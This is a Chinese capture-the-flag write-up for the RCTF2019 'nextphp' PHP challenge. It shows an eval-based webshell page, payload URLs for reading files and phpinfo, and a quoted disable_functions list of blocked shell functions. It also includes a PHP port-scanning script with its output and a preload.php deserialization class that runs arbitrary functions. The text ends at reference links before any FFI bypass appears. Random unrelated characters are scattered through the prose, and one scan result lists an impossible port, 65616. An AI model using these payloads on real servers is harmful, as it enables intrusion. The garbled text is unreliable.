這題主要考察PHP-7.4中的兩個特性( FFI 溃卡、 Serializable 的 __serialize 和 __unserialize )牲蜀,通過 FFI 繞過 disable_functions 限制看蚜。
首先拿到題目:
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
存在命令執(zhí)行检诗,測試無果酝枢,全部報錯恬偷,這里網(wǎng)上有兩個繞過方法:
可以在中間加上空格phpinfo ()繞過
?a=phpinfo+();
?a=echo phpinfo();
以通過 phpinfo 發(fā)現(xiàn)存在如下關(guān)鍵信息:
PHP Version 7.4.0-dev
內(nèi)網(wǎng)IP:172.20.0.1
開啟了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions:set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
剛開始,想通過這個shell進行SSRF掃描內(nèi)網(wǎng)帘睦,看看內(nèi)網(wǎng)是否還有其他主機運行web袍患,因為有可能內(nèi)網(wǎng)中其他機器上的disable_functions限制沒有這么嚴(yán)格坦康。
// 端口掃描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
$c=@fsockopen($hosts,$i, $en,$es, $timeout);
if(is_resource($c)){
echo $hosts.':'.$i.' => open\n<br>';
fclose($c);
}
ob_flush();
flush();
}
# 題目內(nèi)網(wǎng)IP:172.20.0.1
172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>
發(fā)現(xiàn) 172.20.0.2 上有和題目一模一樣的 web 環(huán)境,但是對比了他們兩個的 phpinfo 信息诡延,發(fā)現(xiàn)是一樣的滞欠,其他端口沒什么發(fā)現(xiàn),放棄這個思路。
發(fā)現(xiàn)沒有過濾scandir()
http://web18.buuoj.cn/?a=var_dump(scandir('/var/www/html'));
http://web18.buuoj.cn/?a=var_dump(scandir(getcwd()));
爆出根目錄文件
利用file_get_contents()/show_source查看preload.php源碼
http://web18.buuoj.cn/?a=echo file_get_contents('preload.php');
http://web18.buuoj.cn/?a=show_source("preload.php");
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
參考文章:
http://118.25.174.93/index.php/archives/694/#nextphp
https://blog.csdn.net/qq_41809896/article/details/90384668
https://aluvion.github.io/2019/05/25/RCTF2019-Web-nextphp%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83%E5%92%8C%E5%AD%A6%E4%B9%A0/
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/